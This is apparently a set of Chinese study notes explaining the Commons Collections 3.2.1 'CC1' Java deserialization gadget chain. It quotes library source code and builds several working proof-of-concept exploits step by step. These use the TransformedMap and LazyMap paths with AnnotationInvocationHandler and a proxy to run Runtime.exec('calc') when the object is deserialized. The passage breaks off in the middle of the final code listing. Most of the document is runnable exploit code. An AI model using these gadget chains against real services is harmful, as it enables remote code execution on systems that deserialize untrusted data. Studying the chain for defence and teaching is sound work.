https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
注意:国家不要选为国区,国区对应的 8u65 下载的时候会自动下载 8u111 等高版本!


https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

将 jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes\sun

放入:jdk1.8.0_65\src

把 src 文件夹添加到源路径下

https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/
首先要明白,CC1 链的源头是 Commons Collections 库中的 Tranformer ( org/apache/commons/collections/Transformer.java )接口中的 transform 方法,这个接口的设计初衷,是为了把一个对象转换成另一个对象, 但是,在实现类里把 transform 变成“可以执行任意逻辑”时,就出现了漏洞。
这样的类有以下几种:
最核心、最危险的类:
InvokerTransformer(执行任意方法,命令执行)
InstantiateTransformer(实例化任意类,构造函数触发危险逻辑)
组合辅助类(触发链条的关键):
ChainedTransformer(组合执行器)
LazyMap(触发入口)
《Java 安全漫谈》
TransformedMap的出处
既然ysoserial中没有用到TransformedMap,那么TransformedMap究竟是谁最先提出来的呢?
据我的考证,最早讲到TransformedMap应该是Code White的这篇Slide:Exploiting
Deserialization Vulnerabilities in Java(https://www.slideshare.net/slideshow/exploiting-deserialization-vulnerabilities-in-java-54707478/54707478)1 ,后来长亭科技的博客文章《Lib之过?Java反序列化漏洞通用利用分析》(https://www.anquanke.com/post/id/82898原文网站进不去了,只有转载)对此进行了进一步分析,后来才在国内众多文章中被讲到。


public class InvokerTransformer implements Transformer, Serializable {
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
//实现 Transformer 接口,重写的transform方法,把传入的对象 input 转换成另一个对象
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
//获取传入对象的运行时类
Class cls = input.getClass();
//从 cls 类中,反射获取一个方法对象;iMethodName:构造 InvokerTransformer 时传入的目标方法名(可控);iParamTypes:方法的参数类型数组(可控)
Method method = cls.getMethod(iMethodName, iParamTypes);
//调用上一步拿到的 method,并传入参数 iArgs(可控)
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
从源码中可知存在反射调用任意类,并且各个参数都是可控的,使用反射调用 Runtime.exec :
Runtime r = Runtime.getRuntime();
//方法名为exec,参数类型为String,参数值为calc
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
invokerTransformer.transform(r);

现在我们知道了InvokerTransformer.transform()方法能执行任意命令,但是它自己不会平白无故被调用,必须有别的类/方法调用它, 我们就去找哪些类会在正常逻辑中调用transform。如果有哪个类调用了transform, 就等于找到了一个“入口点”,只要我们能控制传进去的 Transformer,就能让应用在“正常使用 Map”的时候,自动调用到我们的恶意transform,从而执行命令 。

在TransformedMap类中找到checkSetValue()方法调用了transform()方法

public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
/** Serialization version */
private static final long serialVersionUID = 7023152376788900464L;
/** The transformer to use for the key */
protected final Transformer keyTransformer;
/** The transformer to use for the value */
//若把 valueTransformer 设为 InvokerTransformer,当它被调用 transform() 时就能执行任意方法/命令
protected final Transformer valueTransformer;
//decorate(装饰),把一个已经存在的 Map 包一层 TransformedMap,以后对这个 Map 做的操作(比如 put),就会先经过 Transformer 处理,再真正存进去
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
//另一种装饰,decorate:包装,不改已有数据;decorateTransform:先改旧数据再包装
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
if (map.size() > 0) {
Map transformed = decorated.transformMap(map);
decorated.clear();
decorated.getMap().putAll(transformed); // avoids double transformation
}
return decorated;
}
//保存底层 map 和两个 transformer;valueTransformer 是我们需要的关键点
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//自定义序列化,这里的 readObject 并不会主动触发 transformer;它只是把结构恢复
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(map);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}
//若有 keyTransformer 则对 key 做变换;这里的“变换”,在正常情况下是对 key/value 做某种转换(如:大小写转换),但在漏洞利用时,“变换”就执行了攻击者的代码
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
protected Map transformMap(Map map) {
if (map.isEmpty()) {
return map;
}
Map result = new LinkedMap(map.size());
for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
Map.Entry entry = (Map.Entry) it.next();
result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
}
return result;
}
//这里直接调用了 valueTransformer.transform(value)
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
protected boolean isSetValueChecking() {
return (valueTransformer != null);
}
//-----------------------------------------------------------------------
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = transformMap(mapToCopy);
getMap().putAll(mapToCopy);
}
}
因为构造函数是 protected,我们不能直接实例化传参,所以找到一个公共方法 decorate,外部调用它就能 new 出一个 TransformedMap 实例, 创建出一个 TransformedMap 对象,并把自己的 Transformer 塞进去,然后通过调用 checkSetValue() 触发 Transformer 。
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
//用 decorate 包装这个 map
//第二个参数 null :不对 key 做变换
//第三个参数 invokerTransformer :对 value 做变换(关键)
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);
接下来找谁调用了 checkSetValue()
在 AbstractInputCheckedMapDecorator.**MapEntry.setValue() 调用了 checkSetValue() 方法**

/**
* Implementation of a map entry that checks additions via setValue.
*/
//定义了一个静态内部类 MapEntry,它继承自 AbstractMapEntryDecorator
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
//声明了一个不可变(final)字段 parent,类型是 AbstractInputCheckedMapDecorator
private final AbstractInputCheckedMapDecorator parent;
//构造器接收两个参数
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
}
MapEntry是一个包装器,把原始Map.Entry包起来,目的就是在setValue(...)时插入一次 “由 parent 执行的检查/变换”(即调用parent.checkSetValue(...))。
也就是说:任何通过这个包装的Entry调用setValue的操作,都会先经由 parent 的checkSetValue,再回到底层entry。
当执行 entry.setValue(value) 时,他先调用 checkSetValue(value),而 checkSetValue(value) 直接调用了 transform 。
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("gxngxngxn","gxngxngxn"); //给map一个键值对,方便遍历
//用 decorate 包装这个 map;第二个参数 null :不对 key 做变换;第三个参数 invokerTransformer :对 value 做变换(关键)
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedmap.entrySet()) {
//调用 entry.setValue(r),这里传入的是 Runtime r 对象
//但是在 MapEntry.setValue 里,会先执行parent.checkSetValue()
//checkSetValue(value) 内部会执行 return valueTransformer.transform(value);
//所以传进来的 r 会被 invokerTransformer.transform(r) 处理
entry.setValue(r);
}

通过上述测试,说明这条链是能打通的,触发条件是手动遍历了transformedmap,这不是真正的利用链,接下来要去找 readObject 来触发漏洞。
同样的,查找哪个方法调用了 setValue ,最好是重写的 readObject 。
在 AnnotationInvocationHandler 类的 readObject 方法里调用了 setValue 方法

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
//获取注解里每个成员的类型(方法名:返回类型)
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
//检查当前值是否与成员类型匹配,或者是不是 ExceptionProxy
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
//如果不匹配,就调用:memberValue.setValue
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
memberValues 也是可控的

初步构造:
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CC1Test {
public static void main(String[] args) throws Exception{Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
但目前还不能成功利用,有三个问题需解决:
Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式

反射解决:
先写普通反射:
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null, null);
Method run = c.getMethod("exec", String.class);
run.invoke(runtime, "calc");
然后改为InvokerTransformer调用:
Class c = Runtime.class;
Method m = (Method) new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
).transform(m);new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
).transform(r);
由于一个一个调用 transform 太繁琐,我们使用 ChainedTransformer 类进行简化:
ChainedTransformer类下的transform方法递归调用了前一个方法的结果,作为后一个方法的参数

public class CC1Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);HashMap map = new HashMap();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<Runtime> runtimeClass = Runtime.class;
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
这样就解决了第一个问题。
AnnotationInvocationHandler类中的判断条件

通过调试发现,memberType = null 所以不进入 if 判断,无法调用 setValue

memberType 是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,

点进 Override,我们所使用的注解是没有成员变量的


而点进 Target 发现其符合我们的需求

修改POC:
HashMap<Object, Object> hashMap = new HashMap<>();//修改参数
hashMap.put("value","value");Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer);
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);//改传参注解为:Target
Object o = constructor.newInstance(Target.class, transformedMap);serialize(o);
unserialize("ser.bin");
这时 memberType 已经不为空了。

setValue传参固定
继续跟进时,发现setValue传入的值不是 Runtime.class ,

这里就需要ConstantTransformer类,ConstantTransformer方法将传入的对象放入iConstant中,transform()方法无论传入什么,都返回iConstant,完美符合要求。

修改POC:
public class CC1Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
//添加:
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer);
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
public class CC1Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer);
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

transform方法,可以把一个对象转换成另一个对象, 但是,在实现类里把transform变成“可以执行任意逻辑”时,就出现了漏洞。我们发现InvokerTransformer实现了Transformer接口并且有transform方法,
接着找到TransformedMap类中的checkSetValue方法调用了transform方法;
之后找到AbstractInputCheckedMapDecorator类中的setValue方法调用了checkSetValue方法,
通过测试这条链是没问题的,那么接下来的目标就是寻找一个入口点 ,查找哪个方法调用了setValue,最好是重写的readObject,通过readObject来触发漏洞。
找到AnnotationInvocationHandler类中的readObject方法存在setValue,需要注意的是readObject不是直接调用 ·,
readObject方法在反序列化时,会从序列化数据中恢复memberValues(一个Map),而这个Map的内容完全取决于攻击者传入的序列化流。攻击者可以在这里替换成TransformedMap,从而把恶意Transformer链接进来。
通过对readObject的调试,知道了readObject如何触发setValue:
在反序列化时,AnnotationInvocationHandler.readObject会去恢复memberValues里的数据。它遍历memberValues.entrySet()时,取到的MapEntry会调用setValue来写入值。也就是说:反序列化时,readObject间接触发了MapEntry.setValue。
完整的利用链思路:
AnnotationInvocationHandler.readObject
memberValue.setValue
MapEntry.setValue
parent.checkSetValue
TransformedMap.checkSetValue
valueTransform.transform
ChainedTransformer.transform
ConstantTransformer.transform
InvokerTransformer.transform

readObject在反序列化时会恢复memberValues(一个Map),
由于攻击者可控,这个Map可以被替换为TransformedMap,
当readObject遍历memberValues.entrySet()时,会触发MapEntry.setValue,
setValue会调用checkSetValue,而checkSetValue又会调用valueTransform.transform,
这里的valueTransform实际上是ChainedTransformer,它会依次执行其中的ConstantTransformer和InvokerTransformer,
最终InvokerTransformer.transform会调用任意方法,从而实现代码执行。
首先找到 LazyMap 类中的 get 方法中有 transform 方法。

找 factory :Transformer

由于此处的构造方法同样为 protected ,还是利用静态方法 decorate 传参

继续找谁调用了 LayMap.get()
在 AnnotationInvocationHandler 类中的 invoke 方法调用了 get

同时这个类也有 TransformedMap 中用到的 readObject 方法

要触发 AnnotationInvocationHander.invoke,用到动态代理
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class CC1Test02 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);HashMap map = new HashMap();
//首先用 LazyMap 替换 TransformedMap
Map lazyMap = LazyMap.decorate(map, chainedTransformer);//对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行 Proxy
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//利用反射创建了一个 AnnotationInvocationHandler 对象;它内部的 memberValues 是 LazyMap
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);//创建动态代理对象 proxyMap,当有人对这个 proxyMap 调用 Map 的任意方法,会进入 AnnotationInvocationHandler.invoke(...)
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);//因为 proxyMap 自己序列化 /反序列化不会触发链子;只有 AnnotationInvocationHandler 的反序列化过程才会去主动访问 memberValues
//把 proxyMap 塞进一个新的 AnnotationInvocationHandler 的 memberValues 字段里,让它在 readObject() 时被调用
Object o = constructor.newInstance(Retention.class, proxyMap);serialize(o);
unserialize("ser.bin");
}public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, C